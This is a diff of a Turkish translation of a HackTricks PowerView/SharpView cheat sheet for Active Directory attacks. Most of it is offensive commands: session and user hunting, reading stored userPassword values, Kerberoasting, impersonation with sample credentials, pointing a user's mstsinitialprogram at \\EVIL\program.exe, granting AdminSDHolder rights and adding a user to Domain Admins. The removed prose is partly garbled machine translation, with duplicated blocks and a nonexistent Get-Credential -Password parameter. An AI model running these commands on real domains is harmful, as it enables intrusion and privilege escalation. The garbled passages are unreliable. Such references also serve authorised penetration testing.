[**SharpView**](https://github.com/tevora-threat/SharpView), [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)'ın .NET portudur.
@ -48,20 +53,6 @@ Invoke-UserHunter -CheckAccess
Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl
```
### Alan Bilgisi
PowerView, bir etki alanı hakkında bilgi toplamak için kullanılan bir PowerShell modülüdür. Aşağıdaki komutlar, etki alanı hakkında çeşitli bilgileri elde etmek için kullanılabilir:
- `Get-Domain`: Etki alanı hakkında genel bilgileri alır.
- `Get-DomainController`: Etki alanı denetleyicileri hakkında bilgi sağlar.
- `Get-DomainTrust`: Etki alanı güven ilişkileri hakkında bilgi verir.
- `Get-DomainPolicy`: Etki alanı politikaları hakkında bilgi sağlar.
- `Get-DomainGroup`: Etki alanı grupları hakkında bilgi verir.
- `Get-DomainUser`: Etki alanı kullanıcıları hakkında bilgi sağlar.
- `Get-DomainComputer`: Etki alanı bilgisayarları hakkında bilgi verir.
- `Get-DomainGroupMember`: Bir grup üyeleri hakkında bilgi sağlar.
- `Get-DomainGroupMember -Identity "GrupAdı" -Recurse`: Bir grup üyeleri hakkında bilgi sağlar ve alt grupları da tarar.
Bu komutlar, bir etki alanı hakkında daha fazla bilgi edinmek ve hedef sistemleri analiz etmek için kullanılabilir.
```powershell
# Domain Info
Get-Domain #Get info about the current domain
@ -85,35 +76,6 @@ Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain D
Get-ForestDomain
```
### Kullanıcılar, Gruplar, Bilgisayarlar ve OU'lar
PowerView, etki alanı kullanıcıları, grupları, bilgisayarları ve Organizasyon Birimleri (OU'lar) hakkında bilgi toplamak için kullanılabilir. Aşağıda, bu nesneleri sorgulamak için kullanılabilecek bazı PowerView komutları bulunmaktadır.
#### Kullanıcılar
- `Get-NetUser`: Etki alanındaki kullanıcıları listeler.
- `Get-NetUser -Username <username>`: Belirli bir kullanıcının ayrıntılarını alır.
- `Get-NetUser -GroupName <groupname>`: Belirli bir gruptaki kullanıcıları listeler.
- `Get-NetUser -SPN`: Service Principal Name (SPN) sahibi olan kullanıcıları listeler.
#### Gruplar
- `Get-NetGroup`: Etki alanındaki grupları listeler.
- `Get-NetGroup -GroupName <groupname>`: Belirli bir grubun ayrıntılarını alır.
- `Get-NetGroup -Member <username>`: Belirli bir kullanıcının üye olduğu grupları listeler.
#### Bilgisayarlar
- `Get-NetComputer`: Etki alanındaki bilgisayarları listeler.
- `Get-NetComputer -ComputerName <computername>`: Belirli bir bilgisayarın ayrıntılarını alır.
- `Get-NetComputer -SPN`: Service Principal Name (SPN) sahibi olan bilgisayarları listeler.
#### Organizasyon Birimleri (OU'lar)
- `Get-NetOU`: Etki alanındaki OU'ları listeler.
- `Get-NetOU -OUName <ouname>`: Belirli bir OU'nun ayrıntılarını alır.
- `Get-NetOU -ComputerName <computername>`: Belirli bir bilgisayarın bulunduğu OU'ları listeler.
Bu komutlar, etki alanı üzerindeki kullanıcılar, gruplar, bilgisayarlar ve OU'lar hakkında bilgi toplamak için kullanılabilir.
```powershell
# Users
## Get usernames and their groups
@ -180,64 +142,6 @@ Get-NetOU #Get Organization Units
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)
```
### Oturum Açma ve Oturumlar
PowerView, etkin oturumları ve oturum açma bilgilerini elde etmek için kullanılabilir. Aşağıda, bu işlemleri gerçekleştirmek için kullanılan bazı PowerView komutları bulunmaktadır.
#### Get-NetLoggedon
Bu komut, etkin oturum açma bilgilerini elde etmek için kullanılır. Aşağıdaki komutu kullanarak etkin oturum açma bilgilerini alabilirsiniz:
```powershell
Get-NetLoggedon
```
#### Get-NetSession
Bu komut, etkin oturumları elde etmek için kullanılır. Aşağıdaki komutu kullanarak etkin oturumları alabilirsiniz:
```powershell
Get-NetSession
```
#### Get-NetSession -ComputerName <computername>
Bu komut, belirli bir bilgisayardaki etkin oturumları elde etmek için kullanılır. `<computername>` parametresini hedef bilgisayarın adıyla değiştirerek kullanabilirsiniz.
```powershell
Get-NetSession -ComputerName <computername>
```
#### Get-NetSession -UserName <username>
Bu komut, belirli bir kullanıcının etkin oturumlarını elde etmek için kullanılır. `<username>` parametresini hedef kullanıcının adıyla değiştirerek kullanabilirsiniz.
```powershell
Get-NetSession -UserName <username>
```
#### Get-NetSession -ComputerName <computername> -UserName <username>
Bu komut, belirli bir bilgisayardaki belirli bir kullanıcının etkin oturumlarını elde etmek için kullanılır. `<computername>` parametresini hedef bilgisayarın adıyla, `<username>` parametresini hedef kullanıcının adıyla değiştirerek kullanabilirsiniz.
```powershell
Get-NetSession -ComputerName <computername> -UserName <username>
```
#### Get-NetSession -ComputerName <computername> -Domain <domainname>
Bu komut, belirli bir etki alanındaki belirli bir bilgisayardaki etkin oturumları elde etmek için kullanılır. `<computername>` parametresini hedef bilgisayarın adıyla, `<domainname>` parametresini hedef etki alanının adıyla değiştirerek kullanabilirsiniz.
```powershell
Get-NetSession -ComputerName <computername> -Domain <domainname>
```
#### Get-NetSession -ComputerName <computername> -Domain <domainname> -UserName <username>
Bu komut, belirli bir etki alanındaki belirli bir bilgisayardaki belirli bir kullanıcının etkin oturumlarını elde etmek için kullanılır. `<computername>` parametresini hedef bilgisayarın adıyla, `<domainname>` parametresini hedef etki alanının adıyla, `<username>` parametresini hedef kullanıcının adıyla değiştirerek kullanabilirsiniz.
```powershell
Get-NetSession -ComputerName <computername> -Domain <domainname> -UserName <username>
```
```powershell
Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)
Get-NetSession -ComputerName <servername> #Get active sessions on the host
@ -247,8 +151,8 @@ Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (n
```
### Grup İlkesi Nesnesi - GPO'lar
Bir saldırganın **yüksek ayrıcalıklara sahip bir GPO** üzerinde kontrolü varsa, bunu istismar ederek bir kullanıcıya **izinler ekleyebilir**, bir makineye **yerel yönetici kullanıcısı ekleyebilir** veya bir eylem gerçekleştirmek için (hemen) bir **zamanlanmış görev oluşturabilir**.\
Daha fazla bilgi ve bunu nasıl istismar edeceğiniz hakkında [**bu bağlantıyı takip edin**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
Eğer bir saldırgan **yüksek ayrıcalıklara sahipse GPO üzerinde**, bunu **kullanarak ayrıcalıkları yükseltebilir**, bir kullanıcıya **izinler ekleyebilir**, bir yerel yönetici kullanıcı ekleyebilir veya bir eylem gerçekleştirmek için (hemen) **zamanlanmış bir görev oluşturabilir**.\
Daha fazla bilgi ve bunu nasıl kötüye kullanabileceğiniz hakkında [**bu bağlantıyı takip edin**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
```powershell
#GPO
Get-DomainGPO | select displayName #Check the names for info
@ -282,18 +186,13 @@ Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType
# Enumerates the machines where a specific domain user/group is a member of a specific local group.
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
```
### ACL (Erişim Kontrol Listesi)
Öğrenin nasıl **GPO'lar ve ACL'ler üzerindeki izinleri sömürüleceğini**:
ACL'ler, bir nesnenin (dosya, klasör, kaynak vb.) üzerindeki erişim izinlerini kontrol etmek için kullanılan bir mekanizmadır. ACL'ler, kullanıcıların veya grupların bir nesneye erişim düzeyini belirlemek için kullanılır. ACL'ler, nesnelerin üzerindeki izinleri tanımlayan bir dizi giriş içerir.
{% content-ref url="../active-directory-methodology/acl-persistence-abuse/" %}
[acl-persistence-abuse](../active-directory-methodology/acl-persistence-abuse/)
{% endcontent-ref %}
ACL'ler, iki temel bileşenden oluşur:
- **Güvenlik Tanımlayıcıları (Security Identifiers - SIDs):** Kullanıcıları, grupları veya bilgisayarları temsil eden benzersiz kimliklerdir.
- **İzinler:** Bir nesneye erişim düzeyini belirleyen izinlerdir. İzinler, okuma, yazma, değiştirme, silme vb. gibi çeşitli işlemleri içerebilir.
ACL'ler, nesnelerin üzerindeki izinleri kontrol etmek için kullanılan bir dizi kurala sahiptir. Bu kurallar, izinleri uygulamak veya reddetmek için kullanılır. ACL'ler, bir nesnenin üzerindeki izinleri değiştirmek veya manipüle etmek için kullanılabilecek birçok farklı yöntem sunar.
ACL'ler, bir saldırganın bir nesneye erişim izinlerini kötüye kullanmasına olanak tanır. Bu, saldırganın yetkisiz erişim elde etmek, veri sızdırmak veya sistemdeki diğer kötü niyetli faaliyetleri gerçekleştirmek için kullanılabilir.
### ACL
```powershell
#Get ACLs of an object (permissions of other objects over the indicated one)
Get-ObjectAcl -SamAccountName <username> -ResolveGUIDs
@ -315,53 +214,12 @@ Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUser
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights
```
### Paylaşılan dosyalar ve klasörler
PowerView, ağdaki paylaşılan dosyaları ve klasörleri keşfetmek için kullanılabilir. Aşağıdaki komutlarla bu bilgilere erişebilirsiniz:
- `Get-NetShare`: Ağdaki paylaşılan dosya ve klasörleri listeler.
- `Get-NetFile`: Ağdaki açık dosyaları listeler.
- `Get-NetSession`: Ağdaki oturumları listeler.
- `Get-NetLoggedon`: Ağdaki oturum açık olan kullanıcıları listeler.
Bu komutlar, ağdaki paylaşılan dosyaları ve klasörleri belirlemek ve ağdaki kullanıcıların oturum durumunu kontrol etmek için kullanışlıdır. Bu bilgiler, bir saldırganın ağda gezinmesine ve hassas verilere erişmesine yardımcı olabilir.
```powershell
Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
Find-DomainShare -CheckShareAccess #Search readable shares
Find-InterestingDomainShareFile #Find interesting files, can use filters
```
### Etki Alanı Güveni
Domain trust refers to the relationship established between two domains in a Windows Active Directory environment. It allows users from one domain to access resources in another domain without having to create separate user accounts. Domain trust can be either one-way or two-way.
Etki alanı güveni, Windows Active Directory ortamında iki etki alanı arasında kurulan ilişkiyi ifade eder. Bu, bir etki alanındaki kullanıcıların başka bir etki alanındaki kaynaklara ayrı kullanıcı hesapları oluşturmadan erişmelerine olanak tanır. Etki alanı güveni tek yönlü veya çift yönlü olabilir.
#### One-Way Trust
In a one-way trust, Domain A trusts Domain B, allowing users from Domain B to access resources in Domain A. However, users from Domain A cannot access resources in Domain B unless explicitly granted permission.
Tek yönlü güven durumunda, Etki Alanı A, Etki Alanı B'ye güvenir ve Etki Alanı B'deki kullanıcıların Etki Alanı A'daki kaynaklara erişmesine izin verir. Ancak, Etki Alanı A'daki kullanıcılar, açıkça izin verilmedikçe Etki Alanı B'deki kaynaklara erişemez.
#### Two-Way Trust
In a two-way trust, both Domain A and Domain B trust each other, allowing users from both domains to access resources in the other domain. This provides a higher level of flexibility and collaboration between the two domains.
Çift yönlü güven durumunda, Etki Alanı A ve Etki Alanı B birbirlerine güvenir ve her iki etki alanındaki kullanıcıların diğer etki alanındaki kaynaklara erişmesine izin verir. Bu, iki etki alanı arasında daha yüksek bir esneklik ve işbirliği sağlar.
#### Trust Types
There are different types of trust relationships that can be established between domains, including:
- Parent-Child Trust: This is a one-way trust where a parent domain trusts its child domain.
- Tree Root Trust: This is a one-way trust where the root domain of a tree trusts another domain.
- Shortcut Trust: This is a one-way trust that allows for a shorter trust path between two domains in a forest.
- External Trust: This is a one-way or two-way trust between domains in different forests.
- Realm Trust: This is a one-way or two-way trust between a Windows domain and a non-Windows Kerberos realm.
#### Trust Enumeration
To enumerate domain trusts in a Windows environment, the PowerView tool can be used. The `Get-NetDomainTrust` cmdlet can be used to retrieve information about the trust relationships between domains.
Etki alanı güvenlerini bir Windows ortamında sıralamak için PowerView aracı kullanılabilir. `Get-NetDomainTrust` cmdlet'i, etki alanları arasındaki güven ilişkileri hakkında bilgi almak için kullanılabilir.
### Alan Güveniği
```powershell
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-DomainTrust #Same
@ -379,15 +237,6 @@ Get-DomainForeingUser #Get users with privileges in other domains inside the for
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
```
### Kolay Hedefler
Bu bölümde, hedef sistemdeki düşük seviyeli zayıflıkları hedefleyen basit saldırı tekniklerini ele alacağız. Bu tür zayıflıklar genellikle kolayca sömürülebilir ve hedef sistemdeki güvenlik düzeyini düşürebilir. Aşağıda, bu tür saldırı tekniklerinin bazı örneklerini bulabilirsiniz:
- Zayıf parolalar: Kullanıcıların zayıf veya tahmin edilebilir parolalar kullanması, saldırganların hedef sistemlere kolayca erişmesini sağlayabilir.
- Güncellenmemiş yazılımlar: Güncellenmemiş yazılımlar, bilinen zayıflıklara sahip olabilir ve saldırganların hedef sistemlere sızmasını kolaylaştırabilir.
- Yanlış yapılandırılmış izinler: Yanlış yapılandırılmış dosya veya klasör izinleri, saldırganların hedef sistemdeki hassas verilere erişmesini sağlayabilir.
- Sosyal mühendislik: Saldırganlar, kullanıcıları manipüle ederek veya yanıltarak hedef sistemlere erişebilir.
Bu tür düşük seviyeli zayıflıklar, saldırganlar için kolay hedefler olabilir ve genellikle başarılı saldırılar için ilk adımları oluştururlar. Bu nedenle, hedef sistemlerin bu tür zayıflıklardan korunması önemlidir.
```powershell
#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
@ -425,15 +274,7 @@ Invoke-UserHunter -GroupName "RDPUsers"
#It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers)
Invoke-UserHunter -Stealth
```
### Silinen nesneler
Silinen nesneler, Active Directory ortamında silinmiş ancak tamamen kaldırılmamış nesneleri ifade eder. Bu nesneler, geri yüklenebilir veya geri getirilebilir. PowerShell ile silinen nesneleri görüntülemek için `Get-ADObject` komutunu kullanabilirsiniz.
```powershell
Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects
```
Bu komut, silinen nesneleri filtreleyerek ve dahil ederek görüntüler.
### Silinmiş nesneler
```powershell
#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
@ -441,39 +282,17 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
```
### ÇEŞİTLİ
#### SID'den İsim'e
#### SID'i İsmine Çevirme
```powershell
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
```
Kerberoast, bir Windows ortamında kullanılan bir saldırı tekniğidir. Bu saldırı, Kerberos kimlik doğrulama protokolünü hedef alır ve etkilenen kullanıcı hesaplarının parolalarını elde etmeyi amaçlar. Kerberoast saldırısı, hedef sistemdeki servis hesaplarının parolalarını çalmak için kullanılır.
#### Kerberoast
Bu saldırıyı gerçekleştirmek için, saldırgan öncelikle hedef sistemdeki servis hesaplarını belirlemelidir. Ardından, bu hesapların Kerberos hizmet bileşenlerine (SPN'ler) sahip olduğunu kontrol eder. SPN'ler, servis hesaplarının Kerberos kimlik doğrulaması için kullanılan benzersiz tanımlayıcılarıdır.
Saldırgan, hedef sistemdeki SPN'leri belirledikten sonra, bu hesapların parolalarını çalmak için Kerberoasting saldırısını gerçekleştirir. Bu saldırıda, saldırgan, hedef sistemdeki SPN'leri hedefleyen bir Kerberos bileşeni oluşturur ve bu bileşenin TGS (Hedefleme Hizmet Bileşeni) bileşenini almasını sağlar.
Saldırgan, TGS bileşenini alırken, hedef sistemdeki servis hesaplarının parolalarını çalmak için bir saldırı tekniği olan "offline cracking" kullanır. Bu, saldırganın TGS bileşenini çözümlemesine ve parolayı elde etmesine olanak tanır.
Kerberoast saldırısı, hedef sistemdeki servis hesaplarının parolalarını elde etmek için etkili bir yöntemdir. Bu saldırıyı önlemek için, güçlü ve karmaşık parolalar kullanmak, servis hesaplarını düzenli olarak denetlemek ve güncellemek önemlidir. Ayrıca, hedef sistemdeki SPN'leri düzenli olarak kontrol etmek ve gereksiz SPN'leri kaldırmak da saldırı riskini azaltabilir.
Kerberoast, Active Directory'de bulunan Service Principal Names (SPN'ler) hedef alınarak kullanıcı hesaplarının hash'lerinin elde edilmesini sağlayan bir saldırı tekniğidir. Bu saldırıda, SPN'leri olan hesapların hash'leri alınarak offline olarak kırılabilir.
```powershell
Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
```
#### Farklı kimlik bilgileri kullanma (argüman)
You can use different credentials when executing PowerShell commands by specifying the `-Credential` argument. This allows you to run commands with the privileges of a different user.
For example, you can use the following syntax to specify the username and password for the desired user:
```powershell
$cred = Get-Credential -UserName 'domain\username' -Password 'password'
```
Once you have the credentials stored in the `$cred` variable, you can use them with various PowerShell cmdlets. For instance, you can use the `Invoke-Command` cmdlet to execute commands on remote systems using the specified credentials:
```powershell
Invoke-Command -ComputerName 'targetcomputer' -ScriptBlock { <command> } -Credential $cred
```
By using different credentials, you can perform actions and access resources that are restricted to specific users or groups. This can be particularly useful during penetration testing or when investigating security vulnerabilities.
#### Farklı kimlik bilgilerini kullanın (argüman)
```powershell
# use an alterate creadential for any function
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
@ -481,22 +300,6 @@ $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $S
Get-DomainUser -Credential $Cred
```
#### Bir kullanıcıyı taklit etmek
```powershell
Invoke-UserImpersonation -Username <username>
```
Bu komut, belirtilen kullanıcının kimliğini taklit etmek için kullanılır. `<username>` parametresine taklit edilmek istenen kullanıcının adını girin.
---
#### Impersonate a user
```powershell
Invoke-UserImpersonation -Username <username>
```
This command is used to impersonate the identity of a specified user. Enter the name of the user to be impersonated in the `<username>` parameter.
```powershell
# if running in -sta mode, impersonate another credential a la "runas /netonly"
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
@ -505,33 +308,7 @@ Invoke-UserImpersonation -Credential $Cred
# ... action
Invoke-RevertToSelf
```
#### Değerleri Ayarla
```powershell
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'Hidden' -Value 1
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideFileExt' -Value 0
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'ShowSuperHidden' -Value 1
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideDrivesWithNoMedia' -Value 1
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'Hidden' -Value 1
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideFileExt' -Value 0
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'ShowSuperHidden' -Value 1
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideDrivesWithNoMedia' -Value 1
```
Bu komutlar, kayıt defterinde belirli değerleri ayarlamak için kullanılır.
```powershell
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'Hidden' -Value 1
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideFileExt' -Value 0
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'ShowSuperHidden' -Value 1
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideDrivesWithNoMedia' -Value 1
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'Hidden' -Value 1
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideFileExt' -Value 0
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'ShowSuperHidden' -Value 1
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideDrivesWithNoMedia' -Value 1
```
These commands are used to set specific values in the registry.
#### Değerleri ayarla
```powershell
# set the specified property for the given user identity
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
@ -542,14 +319,18 @@ Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=lo
# Add user to 'Domain Admins'
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan Kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Ailesi**](https://opensea.io/collection/the-peass-family)'ni keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar gönderin [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>